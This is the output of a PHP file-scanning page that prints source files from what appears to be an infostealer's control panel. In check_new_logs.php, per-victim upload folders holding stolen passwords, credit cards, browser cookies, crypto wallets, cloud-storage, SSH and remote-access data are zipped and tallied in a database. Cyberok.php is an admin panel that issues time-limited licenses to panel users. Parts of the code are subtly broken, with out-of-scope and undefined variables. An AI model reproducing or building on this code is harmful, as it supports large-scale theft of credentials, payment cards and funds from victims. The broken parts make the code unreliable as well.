# Potential System Entry Points

## Files That Could Be Setting 'cybervax' Default

- .\check_database.php
- .\gate.php
- .\identify_entry_points.php - View Code

      <?php
      // Check for files that might be serving as entry points
      error_reporting(E_ALL);
      ini_set('display_errors', 1);

      // Files that directly interact with the database
      $databaseFiles = [];

      // Files that accept HTTP requests
      $requestFiles = [];

      // Files that might generate logs with 'cybervax'
      $cybervaxSuspects = [];

      // Walk through all PHP files in the directory
      function scanDirectory($dir) {
          global $databaseFiles, $requestFiles, $cybervaxSuspects;

          $files = new RecursiveIteratorIterator(
              new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS)
          );

          foreach ($files as $file) {
              if ($file->getExtension() != 'php') {
                  continue;
              }

              $path = $file->getPathname();
              $content = file_get_contents($path);

              // Check if file interacts with database
              if (strpos($content, 'mysqli_') !== false ||
                  strpos($content, '$condb') !== false) {
                  $databaseFiles[] = $path;

                  // Check if this file might be generating cybervax entries
                  if (strpos($content, 'cybervax') !== false) {
                      $cybervaxSuspects[] = $path;
                  }
              }

              // Check if file accepts HTTP requests directly
              if (strpos($content, '$_GET') !== false ||
                  strpos($content, '$_POST') !== false ||
                  strpos($content, '$_REQUEST') !== false ||
                  strpos($content, 'php://input') !== false) {
                  $requestFiles[] = $path;
              }
          }
      }

      // Start scanning from current directory
      scanDirectory('.');

      // Display results
      echo "<h1>Potential System Entry Points</h1>";

      echo "<h2>Files That Could Be Setting 'cybervax' Default</h2>";
      echo "<ul>";
      foreach ($cybervaxSuspects as $file) {
          // Exclude files we've already fixed
          $highlight = (strpos($file, 'update_stats.php') === false &&
                        strpos($file, 'gate.php') === false &&
                        strpos($file, 'inspect_logs.php') === false &&
                        strpos($file, 'remove_cybervax.php') === false &&
                        strpos($file, 'check_database.php') === false) ?
                        'style="color: red; font-weight: bold;"' : '';

          echo "<li {$highlight}>{$file} ";

          // If this file is a potential culprit, show more details
          if ($highlight) {
              echo "- <a href='javascript:;' onclick='document.getElementById(\"file_{$file}\").style.display=\"block\";'>View Code</a>";
              echo "<div id='file_{$file}' style='display:none;'>";
              echo "<pre>" . htmlspecialchars(file_get_contents($file)) . "</pre>";
              echo "</div>";
          }

          echo "</li>";
      }
      echo "</ul>";

      echo "<h2>Files Accepting HTTP Requests</h2>";
      echo "<ul>";
      foreach ($requestFiles as $file) {
          echo "<li>{$file}</li>";
      }
      echo "</ul>";

      echo "<h2>Files Interacting with Database</h2>";
      echo "<ul>";
      foreach ($databaseFiles as $file) {
          echo "<li>{$file}</li>";
      }
      echo "</ul>";

      // Look for cron jobs or scheduled tasks
      echo "<h2>Potential Scheduled Tasks</h2>";

      // Check for cron-related code
      $cronSuspects = [];
      $files = new RecursiveIteratorIterator(
          new RecursiveDirectoryIterator('.', RecursiveDirectoryIterator::SKIP_DOTS)
      );

      foreach ($files as $file) {
          if ($file->getExtension() != 'php') {
              continue;
          }

          $path = $file->getPathname();
          $content = file_get_contents($path);

          // Look for common scheduled task indicators
          if (strpos($content, 'cron') !== false ||
              strpos($content, 'schedule') !== false ||
              strpos($content, 'task') !== false ||
              strpos($content, 'job') !== false) {
              $cronSuspects[] = $path;
          }
      }

      echo "<ul>";
      if (empty($cronSuspects)) {
          echo "<li>No potential scheduled tasks found.</li>";
      } else {
          foreach ($cronSuspects as $file) {
              echo "<li>{$file}</li>";
          }
      }
      echo "</ul>";

      // Check for accidental API endpoint
      echo "<h2>Testing Unexpected API Endpoints</h2>";

      // Check for any file that might respond to empty POST requests
      $apiTestResults = [];
      $phpFiles = glob('*.php');

      foreach ($phpFiles as $phpFile) {
          // Skip known files
          if (in_array($phpFile, ['identify_entry_points.php', 'check_database.php', 'inspect_logs.php', 'remove_cybervax.php'])) {
              continue;
          }

          // Test the file with an empty request
          $apiTestResults[$phpFile] = testEmptyRequest($phpFile);
      }

      echo "<table border='1' cellpadding='5'>";
      echo "<tr><th>File</th><th>Status Code</th><th>Response</th></tr>";
      foreach ($apiTestResults as $file => $result) {
          echo "<tr>";
          echo "<td>{$file}</td>";
          echo "<td>{$result['status']}</td>";
          echo "<td>" . substr(htmlspecialchars($result['response']), 0, 100) .
               (strlen($result['response']) > 100 ? '...' : '') . "</td>";
          echo "</tr>";
      }
      echo "</table>";

      // Function to test if a file responds to empty requests
      function testEmptyRequest($file) {
          $url = "http://" . $_SERVER['HTTP_HOST'] . dirname($_SERVER['PHP_SELF']) . "/{$file}";

          $ch = curl_init();
          curl_setopt($ch, CURLOPT_URL, $url);
          curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
          curl_setopt($ch, CURLOPT_HEADER, false);

          $response = curl_exec($ch);
          $status = curl_getinfo($ch, CURLINFO_HTTP_CODE);

          curl_close($ch);

          return [
              'status' => $status,
              'response' => $response
          ];
      }
      ?>

- .\inspect_logs.php
- .\Panel\check_license_columns.php - View Code

      <?php
      error_reporting(E_ALL);
      ini_set('display_errors', 1);
      session_start();

      // Only allow admin access
      if (!isset($_SESSION['username']) || $_SESSION['username'] !== 'cybervax') {
          echo "Access denied. Admin privileges required.";
          exit;
      }

      // Connect to database
      require_once("config.php");
      if (!isset($condb)) {
          require_once("../config.php");
      }

      // Check connection
      if (!isset($condb) || $condb->connect_error) {
          die("Database connection failed: " . ($condb->connect_error ?? "Unknown error"));
      }

      echo "<h1>License Column Status Check</h1>";
      echo "<p>This script only checks the status of columns without making any changes.</p>";

      // Check database user
      $result = $condb->query("SELECT CURRENT_USER()");
      $user = $result->fetch_row()[0] ?? 'unknown';
      echo "<p>Current database user: <strong>{$user}</strong></p>";

      // Get all columns in the users table
      echo "<h2>Users Table Columns:</h2>";
      echo "<ul>";
      $columnsResult = $condb->query("SHOW COLUMNS FROM users");
      while ($column = $columnsResult->fetch_assoc()) {
          echo "<li><strong>{$column['Field']}</strong> - {$column['Type']} " .
               ($column['Null'] === 'YES' ? 'NULL' : 'NOT NULL') .
               ($column['Default'] ? " DEFAULT '{$column['Default']}'" : "") . "</li>";
      }
      echo "</ul>";

      // Check if license_end exists
      $checkLicenseEnd = $condb->query("SHOW COLUMNS FROM users LIKE 'license_end'");
      $hasLicenseEnd = ($checkLicenseEnd && $checkLicenseEnd->num_rows > 0);

      // Check if license_expiry exists
      $checkLicenseExpiry = $condb->query("SHOW COLUMNS FROM users LIKE 'license_expiry'");
      $hasLicenseExpiry = ($checkLicenseExpiry && $checkLicenseExpiry->num_rows > 0);

      echo "<h2>License Column Status:</h2>";
      echo "<ul>";
      echo "<li>license_end column: " . ($hasLicenseEnd ? "<span style='color:green'>EXISTS</span>" : "<span style='color:red'>MISSING</span>") . "</li>";
      echo "<li>license_expiry column: " . ($hasLicenseExpiry ? "<span style='color:green'>EXISTS</span>" : "<span style='color:red'>MISSING</span>") . "</li>";
      echo "</ul>";

      if ($hasLicenseEnd && !$hasLicenseExpiry) {
          echo "<div style='background-color: #ffffcc; padding: 10px; border: 1px solid #ffcc00;'>";
          echo "<p><strong>Recommended Action:</strong> You currently have a 'license_end' column but no 'license_expiry' column. ";
          echo "The date_fixer.php script is looking for 'license_expiry'. You have two options:</p>";
          echo "<ol>";
          echo "<li>Run the following SQL as root or an admin user:<br>";
          echo "<code>ALTER TABLE users CHANGE license_end license_expiry DATETIME NULL DEFAULT NULL;</code></li>";
          echo "<li>Or visit <a href='fix_license_expiry.php'>fix_license_expiry.php</a> (requires database ALTER privileges)</li>";
          echo "</ol>";
          echo "</div>";
      } else if (!$hasLicenseEnd && !$hasLicenseExpiry) {
          echo "<div style='background-color: #ffffcc; padding: 10px; border: 1px solid #ffcc00;'>";
          echo "<p><strong>Recommended Action:</strong> You don't have either column. You need to add the 'license_expiry' column. ";
          echo "You have two options:</p>";
          echo "<ol>";
          echo "<li>Run the following SQL as root or an admin user:<br>";
          echo "<code>ALTER TABLE users ADD COLUMN license_expiry DATETIME NULL DEFAULT NULL AFTER license_start;</code></li>";
          echo "<li>Or visit <a href='fix_license_expiry.php'>fix_license_expiry.php</a> (requires database ALTER privileges)</li>";
          echo "</ol>";
          echo "</div>";
      } else if ($hasLicenseExpiry) {
          echo "<div style='background-color: #ccffcc; padding: 10px; border: 1px solid #00cc00;'>";
          echo "<p><strong>No Action Needed:</strong> You already have the 'license_expiry' column. The date_fixer.php script should work correctly.</p>";
          echo "</div>";
      }

      echo "<h2>Options:</h2>";
      echo "<ul>";
      echo "<li><a href='date_fixer.php'>Go to Date Fixer</a></li>";
      echo "<li><a href='cyberok.php'>Return to Admin Panel</a></li>";
      echo "</ul>";
      ?>

- .\Panel\check_new_logs.php - View Code

      <?php
      // Make sure this is at the very top, before any output
      error_reporting(E_ALL);
      ini_set('display_errors', 1);

      // Include error handler first
      require_once(__DIR__ . '/error_handler.php');

      // Log that we're starting
      logMessage("check_new_logs.php started");

      // Now include other files
      require_once(__DIR__ . '/header.php');
      require_once(__DIR__ . '/telegram_notify.php');

      // Clear any output buffers
      while (ob_get_level()) {
          ob_end_clean();
      }

      // Start a new output buffer
      ob_start();

      // Debug logging for all GET parameters
      echo "<pre>DEBUG: All GET parameters received:\n";
      foreach ($_GET as $key => $value) {
          echo "Parameter '$key' = '$value'\n";
      }
      echo "</pre>";

      // Get username from session
      if (!isset($_SESSION['username'])) {
          echo "<pre>ERROR: No username found in session. Please log in first.</pre>";
          die("Error: No username found in session. Please log in first.");
      }

      $username = $_SESSION['username'];
      echo "<pre>DEBUG: Username from session: '$username'</pre>";

      // Get all log parameters with debugging
      $logParams = [
          'hwid' => $_GET['hwid'] ?? '',
          'Passwords' => $_GET['Passwords'] ?? 0,
          'CreditCards' => $_GET['CreditCards'] ?? 0,
          'Cookies' => $_GET['Cookies'] ?? 0,
          'AutoFill' => $_GET['AutoFill'] ?? 0,
          'Wallets' => $_GET['Wallets'] ?? 0,
          'VPN' => $_GET['VPN'] ?? 0,
          'Telegram' => $_GET['Telegram'] ?? 0,
          'Steam' => $_GET['Steam'] ?? 0,
          'Gaming' => $_GET['Gaming'] ?? 0,
          'OtherMessengers' => $_GET['OtherMessengers'] ?? 0,
          'Discord' => $_GET['Discord'] ?? 0,
          'DevTools' => $_GET['DevTools'] ?? 0,
          'EmailClients' => $_GET['EmailClients'] ?? 0,
          'PasswordManagers' => $_GET['PasswordManagers'] ?? 0,
          'RemoteAccess' => $_GET['RemoteAccess'] ?? 0,
          'CloudStorage' => $_GET['CloudStorage'] ?? 0,
          'BrowserExtended' => $_GET['BrowserExtended'] ?? 0
      ];

      // Debug log all parameters
      echo "<pre>DEBUG: All log parameters:\n";
      foreach ($logParams as $key => $value) {
          echo "Log parameter '$key' = '$value'\n";
      }
      echo "</pre>";

      function getNewLogs() {
          global $username;
          $uploadDir = __DIR__ . '/../upload/';
          $processedFile = __DIR__ . '/processed_logs.txt';

          logMessage("Checking for new logs in: " . $uploadDir);

          // Create processed logs file if it doesn't exist
          if (!file_exists($processedFile)) {
              file_put_contents($processedFile, '');
              logMessage("Created new processed_logs.txt file");
          }

          // Get list of processed logs
          $processedLogs = file($processedFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
          if (!is_array($processedLogs)) {
              $processedLogs = [];
          }
          logMessage("Found " . count($processedLogs) . " previously processed logs");

          $newLogs = [];

          // Scan upload directory for new HWID folders
          $hwidFolders = glob($uploadDir . '*', GLOB_ONLYDIR);
          logMessage("Found " . count($hwidFolders) . " HWID folders to check");

          foreach ($hwidFolders as $folder) {
              $hwid = basename($folder);
              logMessage("Checking folder for HWID: " . $hwid);

              // Check for new log files
              $logFiles = [
                  'Passwords.txt' => $folder . '/Passwords.txt',
                  'cards.txt' => $folder . '/cards.txt',
                  'wallets' => $folder . '/wallets',
                  'Browsers' => $folder . '/Browsers',
                  'CloudStorage' => $folder . '/CloudStorage',
                  'DevTools' => $folder . '/DevTools',
                  'RemoteAccess' => $folder . '/RemoteAccess'
              ];

              foreach ($logFiles as $type => $path) {
                  $logKey = $hwid . '_' . $type;

                  // Skip if already processed
                  if (in_array($logKey, $processedLogs)) {
                      logMessage("Skipping already processed log: " . $logKey);
                      continue;
                  }

                  // Check if file/directory exists and has content
                  if (file_exists($path)) {
                      if (is_dir($path)) {
                          // For directories, check if they have content
                          $hasContent = false;
                          $itemCount = 0;

                          switch ($type) {
                              case 'wallets':
                                  $hasContent = count(glob($path . '/*', GLOB_ONLYDIR)) > 0;
                                  break;

                              case 'Browsers':
                                  $hasContent = count(glob($path . '/*_Cookies.txt')) > 0;
                                  break;

                              case 'CloudStorage':
                                  // Check for common cloud storage folders and files
                                  $cloudFolders = [
                                      'Dropbox',
                                      'Google Drive',
                                      'OneDrive',
                                      'iCloud',
                                      'Box',
                                      'Mega'
                                  ];

                                  foreach ($cloudFolders as $cloudFolder) {
                                      $cloudPath = $path . '/' . $cloudFolder;
                                      if (is_dir($cloudPath)) {
                                          // Count all files recursively in this cloud folder
                                          $iterator = new RecursiveIteratorIterator(
                                              new RecursiveDirectoryIterator($cloudPath, RecursiveDirectoryIterator::SKIP_DOTS)
                                          );
                                          foreach ($iterator as $file) {
                                              if ($file->isFile()) {
                                                  $itemCount++;
                                                  $hasContent = true;
                                              }
                                          }
                                      }
                                  }

                                  // Also check for config files
                                  $configFiles = glob($path . '/*.{db,config,token}', GLOB_BRACE);
                                  $itemCount += count($configFiles);
                                  if ($itemCount > 0) {
                                      $hasContent = true;
                                  }
                                  break;

                              case 'DevTools':
                                  // Check for common dev tools folders and files
                                  $devToolsPatterns = [
                                      '*/node_modules',
                                      '*/.git',
                                      '*/.vscode',
                                      '*/.idea',
                                      '*/vendor',
                                      '*/.npm',
                                      '*/package.json',
                                      '*/composer.json',
                                      '*/*.sln',
                                      '*/*.csproj'
                                  ];

                                  foreach ($devToolsPatterns as $pattern) {
                                      $matches = glob($path . '/' . $pattern, GLOB_BRACE);
                                      $itemCount += count($matches);
                                      if (count($matches) > 0) {
                                          $hasContent = true;
                                      }
                                  }

                                  // Count all development-related files
                                  $iterator = new RecursiveIteratorIterator(
                                      new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS)
                                  );
                                  foreach ($iterator as $file) {
                                      if ($file->isFile()) {
                                          $ext = strtolower($file->getExtension());
                                          if (in_array($ext, ['js', 'php', 'py', 'java', 'cpp', 'cs', 'rb', 'go', 'ts'])) {
                                              $itemCount++;
                                              $hasContent = true;
                                          }
                                      }
                                  }
                                  break;

                              case 'RemoteAccess':
                                  // Check for remote access tools and configurations
                                  $remoteAccessPatterns = [
                                      '*/TeamViewer',
                                      '*/AnyDesk',
                                      '*/RDP',
                                      '*/VNC',
                                      '*/SSH',
                                      '*/.ssh',
                                      '*/putty',
                                      '*/WinSCP.ini',
                                      '*/mRemoteNG',
                                      '*/RemoteDesktopManager'
                                  ];

                                  foreach ($remoteAccessPatterns as $pattern) {
                                      $matches = glob($path . '/' . $pattern, GLOB_BRACE);
                                      $itemCount += count($matches);
                                      if (count($matches) > 0) {
                                          $hasContent = true;
                                      }
                                  }

                                  // Count configuration files
                                  $configFiles = glob($path . '/*.{ini,cfg,config,rdp}', GLOB_BRACE);
                                  $itemCount += count($configFiles);
                                  if ($itemCount > 0) {
                                      $hasContent = true;
                                  }
                                  break;
                          }

                          if ($hasContent) {
                              logMessage("Found new directory log: " . $logKey);
                              $newLogs[] = [
                                  'hwid' => $hwid,
                                  'type' => $type,
                                  'path' => $path,
                                  'username' => $username
                              ];

                              // Update logs table for the specific type
                              global $condb;
                              switch ($type) {
                                  case 'CloudStorage':
                                      $updateQuery = "UPDATE logs SET
                                                    cloud_storage = 1,
                                                    cloud_storage_count = ?,
                                                    last_updated = NOW()
                                                    WHERE hwid = ?";
                                      $stmt = mysqli_prepare($condb, $updateQuery);
                                      mysqli_stmt_bind_param($stmt, "is", $itemCount, $hwid);
                                      mysqli_stmt_execute($stmt);
                                      logMessage("Updated logs for cloud storage: {$hwid} (Count: {$itemCount})");
                                      break;

                                  case 'DevTools':
                                      $updateQuery = "UPDATE logs SET
                                                    dev_tools = 1,
                                                    dev_tools_count = ?,
                                                    last_updated = NOW()
                                                    WHERE hwid = ?";
                                      $stmt = mysqli_prepare($condb, $updateQuery);
                                      mysqli_stmt_bind_param($stmt, "is", $itemCount, $hwid);
                                      mysqli_stmt_execute($stmt);
                                      logMessage("Updated logs for dev tools: {$hwid} (Count: {$itemCount})");
                                      break;

                                  case 'RemoteAccess':
                                      $updateQuery = "UPDATE logs SET
                                                    remote_access = 1,
                                                    remote_access_count = ?,
                                                    last_updated = NOW()
                                                    WHERE hwid = ?";
                                      $stmt = mysqli_prepare($condb, $updateQuery);
                                      mysqli_stmt_bind_param($stmt, "is", $itemCount, $hwid);
                                      mysqli_stmt_execute($stmt);
                                      logMessage("Updated logs for remote access: {$hwid} (Count: {$itemCount})");
                                      break;
                              }
                          }
                      } else {
                          // For files, check if they have content
                          $content = file_get_contents($path);
                          if ($content !== false && strlen(trim($content)) > 0) {
                              logMessage("Found new file log: " . $logKey);
                              $newLogs[] = [
                                  'hwid' => $hwid,
                                  'type' => $type,
                                  'path' => $path,
                                  'username' => $username
                              ];
                          }
                      }
                  }
              }
          }

          logMessage("Total new logs found: " . count($newLogs));
          return $newLogs;
      }

      function markLogAsProcessed($hwid, $type) {
          $processedFile = __DIR__ . '/processed_logs.txt';
          $logKey = $hwid . '_' . $type;
          file_put_contents($processedFile, $logKey . "\n", FILE_APPEND);
      }

      function createZipForLogs($hwid, $logs) {
          global $username;
          $zipFile = __DIR__ . '/../upload/' . $hwid . '.zip';
          $zip = new ZipArchive();

          if ($zip->open($zipFile, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) {
              foreach ($logs as $log) {
                  if (is_dir($log['path'])) {
                      // Add directory contents recursively
                      $iterator = new RecursiveIteratorIterator(
                          new RecursiveDirectoryIterator($log['path'], RecursiveDirectoryIterator::SKIP_DOTS)
                      );
                      foreach ($iterator as $file) {
                          if ($file->isFile()) {
                              $zip->addFile($file->getPathname(), basename($log['path']) . '/' . $iterator->getSubPathName());
                          }
                      }
                  } else {
                      $zip->addFile($log['path'], basename($log['path']));
                  }
              }
              $zip->close();

              // Update database with log information
              global $conn;
              echo "<pre>DEBUG: Preparing to insert log with username: '$username'</pre>";

              $query = "INSERT INTO logs (hwid, username, File_log, Passwords, CreditCards, Cookies, AutoFill, Wallets, VPN, Telegram, Steam, Gaming, OtherMessengers, Discord, DevTools, EmailClients, PasswordManagers, RemoteAccess, CloudStorage, BrowserExtended)
                       VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)";
              $stmt = mysqli_prepare($conn, $query);
              if (!$stmt) {
                  echo "<pre>ERROR: Failed to prepare statement: " . mysqli_error($conn) . "</pre>";
                  return false;
              }

              $relativePath = 'upload/' . $hwid . '.zip';
              echo "<pre>DEBUG: Binding parameters with username: '$username'</pre>";

              mysqli_stmt_bind_param($stmt, "sssiiiiiiiiiiiiiiii",
                  $logParams['hwid'],
                  $username,
                  $relativePath,
                  $logParams['Passwords'],
                  $logParams['CreditCards'],
                  $logParams['Cookies'],
                  $logParams['AutoFill'],
                  $logParams['Wallets'],
                  $logParams['VPN'],
                  $logParams['Telegram'],
                  $logParams['Steam'],
                  $logParams['Gaming'],
                  $logParams['OtherMessengers'],
                  $logParams['Discord'],
                  $logParams['DevTools'],
                  $logParams['EmailClients'],
                  $logParams['PasswordManagers'],
                  $logParams['RemoteAccess'],
                  $logParams['CloudStorage'],
                  $logParams['BrowserExtended']
              );

              if (!mysqli_stmt_execute($stmt)) {
                  echo "<pre>ERROR: Failed to execute statement: " . mysqli_stmt_error($stmt) . "</pre>";
                  mysqli_stmt_close($stmt);
                  return false;
              }

              echo "<pre>DEBUG: Successfully inserted log with username: '$username'</pre>";
              mysqli_stmt_close($stmt);

              return true;
          }
          return false;
      }

      // Process new logs
      $newLogs = getNewLogs();
      if (!empty($newLogs)) {
          logMessage("Found " . count($newLogs) . " new logs to process");

      // Group logs by HWID
      $logsByHwid = [];
      foreach ($newLogs as $log) {
          $logsByHwid[$log['hwid']][] = $log;
      }

      // Process each HWID's logs
      foreach ($logsByHwid as $hwid => $logs) {
              // Get existing database stats for this HWID first
              global $condb;
              $existing_stats = [];
              $get_existing = "SELECT * FROM `logs` WHERE hwid = ?";
              $stmt = mysqli_prepare($condb, $get_existing);
              mysqli_stmt_bind_param($stmt, "s", $hwid);
              mysqli_stmt_execute($stmt);
              $result = mysqli_stmt_get_result($stmt);

              if ($row = mysqli_fetch_assoc($result)) {
                  $existing_stats = $row;
                  logMessage("Found existing database record for HWID: $hwid");
              } else {
                  logMessage("No existing database record for HWID: $hwid");
              }

              // Initialize current values from existing stats if available
              $stats = [
                  'pwd_count' => isset($existing_stats['Passwords']) ? (int)$existing_stats['Passwords'] : 0,
                  'cc_count' => isset($existing_stats['CreditCards']) ? (int)$existing_stats['CreditCards'] : 0,
                  'cookies_count' => isset($existing_stats['Cookies']) ? (int)$existing_stats['Cookies'] : 0,
                  'wallets_count' => isset($existing_stats['Wallets']) ? (int)$existing_stats['Wallets'] : 0,
                  'vpn_count' => isset($existing_stats['VPN']) ? (int)$existing_stats['VPN'] : 0,
                  'telegram' => isset($existing_stats['Telegram']) ? (int)$existing_stats['Telegram'] : 0,
                  'steam' => isset($existing_stats['Steam']) ? (int)$existing_stats['Steam'] : 0,
                  'gaming_info' => isset($existing_stats['Gaming']) ? (int)$existing_stats['Gaming'] : 0,
                  'messenger' => isset($existing_stats['OtherMessengers']) ? (int)$existing_stats['OtherMessengers'] : 0,
                  'discord' => isset($existing_stats['Discord']) ? (int)$existing_stats['Discord'] : 0,
                  'emailclients' => isset($existing_stats['EmailClients']) ? (int)$existing_stats['EmailClients'] : 0,
                  'passwordmanagers' => isset($existing_stats['PasswordManagers']) ? (int)$existing_stats['PasswordManagers'] : 0,
                  'cloudstorage' => isset($existing_stats['CloudStorage']) ? (int)$existing_stats['CloudStorage'] : 0,
                  'devtools' => isset($existing_stats['DevTools']) ? (int)$existing_stats['DevTools'] : 0,
                  'remoteaccess' => isset($existing_stats['RemoteAccess']) ? (int)$existing_stats['RemoteAccess'] : 0,
                  'browserextended' => isset($existing_stats['BrowserExtended']) ? (int)$existing_stats['BrowserExtended'] : 0
              ];

              // Log the current values for debugging
              logMessage("Current stats for HWID $hwid before processing: " . json_encode($stats));

              // Process the new logs, updating stats only if the new value is higher
              foreach ($logs as $log) {
                  $username = $log['username'] ?? (isset($existing_stats['username']) ? $existing_stats['username'] : 'cybervax');
                  $ipAddress = $log['ip'] ?? (isset($existing_stats['IP']) ? $existing_stats['IP'] : '');
                  $country = $log['country'] ?? (isset($existing_stats['Country']) ? $existing_stats['Country'] : '');

                  // Process each stat type, only update if new value is higher
                  $newStats = [
                      'pwd_count' => isset($log['pwd_count']) ? (int)$log['pwd_count'] : $stats['pwd_count'],
                      'cc_count' => isset($log['cc_count']) ? (int)$log['cc_count'] : $stats['cc_count'],
                      'cookies_count' => isset($log['cookies_count']) ? (int)$log['cookies_count'] : $stats['cookies_count'],
                      'wallets_count' => isset($log['wallets_count']) ? (int)$log['wallets_count'] : $stats['wallets_count'],
                      'vpn_count' => isset($log['vpn_count']) ? (int)$log['vpn_count'] : $stats['vpn_count'],
                      'telegram' => isset($log['telegram']) ? (int)$log['telegram'] : $stats['telegram'],
                      'steam' => isset($log['steam']) ? (int)$log['steam'] : $stats['steam'],
                      'gaming_info' => isset($log['gaming_info']) ? (int)$log['gaming_info'] : $stats['gaming_info'],
                      'messenger' => isset($log['messenger']) ? (int)$log['messenger'] : $stats['messenger'],
                      'discord' => isset($log['discord']) ? (int)$log['discord'] : $stats['discord'],
                      'emailclients' => isset($log['emailclients']) ? (int)$log['emailclients'] : $stats['emailclients'],
                      'passwordmanagers' => isset($log['passwordmanagers']) ? (int)$log['passwordmanagers'] : $stats['passwordmanagers'],
                      'cloudstorage' => isset($log['cloudstorage']) ? (int)$log['cloudstorage'] : $stats['cloudstorage'],
                      'devtools' => isset($log['devtools']) ? (int)$log['devtools'] : $stats['devtools'],
                      'remoteaccess' => isset($log['remoteaccess']) ? (int)$log['remoteaccess'] : $stats['remoteaccess'],
                      'browserextended' => isset($log['browserextended']) ? (int)$log['browserextended'] : $stats['browserextended']
                  ];

                  // Only update stats if the new value is higher than existing
                  foreach ($newStats as $key => $value) {
                      if ($value > $stats[$key]) {
                          $stats[$key] = $value;
                          logMessage("Updated $key to higher value: $value");
                      }
                  }
              }

              // Log the final values
              logMessage("Final stats for HWID $hwid after processing: " . json_encode($stats));

              // Update the database with the final stats
              if (isset($existing_stats['id_log'])) {
                  // Update existing record
                  $updateQuery = "UPDATE logs SET
                      Passwords = ?, CreditCards = ?, Cookies = ?, Wallets = ?, VPN = ?,
                      Telegram = ?, Steam = ?, Gaming = ?, OtherMessengers = ?, Discord = ?,
                      EmailClients = ?, PasswordManagers = ?, CloudStorage = ?,
                      DevTools = ?, RemoteAccess = ?, BrowserExtended = ?,
                      last_updated = NOW()
                      WHERE id_log = ?";

                  $stmt = mysqli_prepare($condb, $updateQuery);
                  mysqli_stmt_bind_param($stmt, "iiiiiiiiiiiiiiiii",
                      $stats['pwd_count'], $stats['cc_count'], $stats['cookies_count'],
                      $stats['wallets_count'], $stats['vpn_count'], $stats['telegram'],
                      $stats['steam'], $stats['gaming_info'], $stats['messenger'],
                      $stats['discord'], $stats['emailclients'], $stats['passwordmanagers'],
                      $stats['cloudstorage'], $stats['devtools'], $stats['remoteaccess'],
                      $stats['browserextended'], $existing_stats['id_log']);

                  if (mysqli_stmt_execute($stmt)) {
                      logMessage("Successfully updated stats for HWID: $hwid");
                  } else {
                      logMessage("Failed to update stats: " . mysqli_error($condb));
                  }
              } else {
                  // Insert new record
                  $insertQuery = "INSERT INTO logs (
                      hwid, username, IP, Country, Passwords, CreditCards, Cookies, Wallets, VPN,
                      Telegram, Steam, Gaming, OtherMessengers, Discord,
                      EmailClients, PasswordManagers, CloudStorage,
                      DevTools, RemoteAccess, BrowserExtended, last_updated
                  ) VALUES (
                      ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, NOW()
                  )";

                  $stmt = mysqli_prepare($condb, $insertQuery);
                  mysqli_stmt_bind_param($stmt, "ssssiiiiiiiiiiiiiii",
                      $hwid, $username, $ipAddress, $country,
                      $stats['pwd_count'], $stats['cc_count'], $stats['cookies_count'],
                      $stats['wallets_count'], $stats['vpn_count'], $stats['telegram'],
                      $stats['steam'], $stats['gaming_info'], $stats['messenger'],
                      $stats['discord'], $stats['emailclients'], $stats['passwordmanagers'],
                      $stats['cloudstorage'], $stats['devtools'], $stats['remoteaccess'],
                      $stats['browserextended']);

                  if (mysqli_stmt_execute($stmt)) {
                      logMessage("Successfully inserted new stats for HWID: $hwid");
          } else {
                      logMessage("Failed to insert stats: " . mysqli_error($condb));
                  }
              }
          }
      } else {
          logMessage("No new logs found");
      }

      // Redirect back to logs page
      header("Location: logs.php");
      exit;
      ?>

- .\Panel\cyberok.php - View Code

      <?php
      // Clean, production-ready code without debugging
      include("header.php");

      // Check if user is admin (using username cybervax)
      if($_SESSION['username'] !== 'cybervax') {
          header("Location: index.php");
          exit('Access Denied: Admin privileges required');
      }
      ?>

      <div class="full-width-container">
          <!-- Admin Panel Header -->
          <div class="row">
              <div class="col-md-12">
                  <div class="cyber-panel">
                      <div class="cyber-panel-header">
                          <div class="cyber-title">
                              <i class="fas fa-crown cyber-icon"></i>
                              <h3>CyberOK Admin Panel</h3>
                              <div class="cyber-title-decoration"></div>
                          </div>
                      </div>
                      <div class="cyber-panel-body">
                          <div class="cyber-notification success">
                              <i class="fas fa-check-circle"></i>
                              <span>Welcome to the Admin Control Panel, <?php echo $_SESSION['username']; ?>!</span>
                          </div>
                      </div>
                  </div>
              </div>
          </div>

          <!-- Admin Actions Section -->
          <div class="row">
              <div class="col-md-6">
                  <div class="cyber-panel">
                      <div class="cyber-panel-header">
                          <div class="cyber-title">
                              <i class="fas fa-users-cog cyber-icon"></i>
                              <h3>User Management</h3>
                              <div class="cyber-title-decoration"></div>
                          </div>
                      </div>
                      <div class="cyber-panel-body">
                          <div class="admin-action-card">
                              <h4><i class="fas fa-user-plus"></i> Add New User</h4>
                              <form method="POST" action="">
                                  <input type="hidden" name="action" value="add_user">
                                  <div class="form-group">
                                      <label>Username</label>
                                      <input type="text" name="username" class="form-control" required>
                                  </div>
                                  <div class="form-group">
                                      <label>Password</label>
                                      <input type="password" name="password" class="form-control" required>
                                  </div>
                                  <div class="form-group">
                                      <label>License Status</label>
                                      <select name="license_status" class="form-control">
                                          <option value="active">Active</option>
                                          <option value="suspended">Suspended</option>
                                          <option value="expired">Expired</option>
                                      </select>
                                  </div>
                                  <div class="form-group">
                                      <label>License Duration</label>
                                      <select name="license_duration" class="form-control">
                                          <option value="7">7 Days</option>
                                          <option value="30" selected>30 Days</option>
                                          <option value="90">3 Months</option>
                                          <option value="180">6 Months</option>
                                          <option value="365">1 Year</option>
                                          <option value="lifetime">Lifetime</option>
                                      </select>
                                  </div>
                                  <button type="submit" class="btn btn-primary">Create User</button>
                              </form>
                          </div>

                          <div class="admin-divider"></div>

                          <div class="admin-action-card">
                              <h4><i class="fas fa-user-edit"></i> Manage Users</h4>
                              <p>View and manage all registered users and their licenses</p>
                              <a href="#" class="btn btn-primary" onclick="loadUsers()">Manage Users</a>
                          </div>
                      </div>
                  </div>
              </div>

              <div class="col-md-6">
                  <div class="cyber-panel">
                      <div class="cyber-panel-header">
                          <div class="cyber-title">
                              <i class="fas fa-tools cyber-icon"></i>
                              <h3>System Tools</h3>
                              <div class="cyber-title-decoration"></div>
                          </div>
                      </div>
                      <div class="cyber-panel-body">
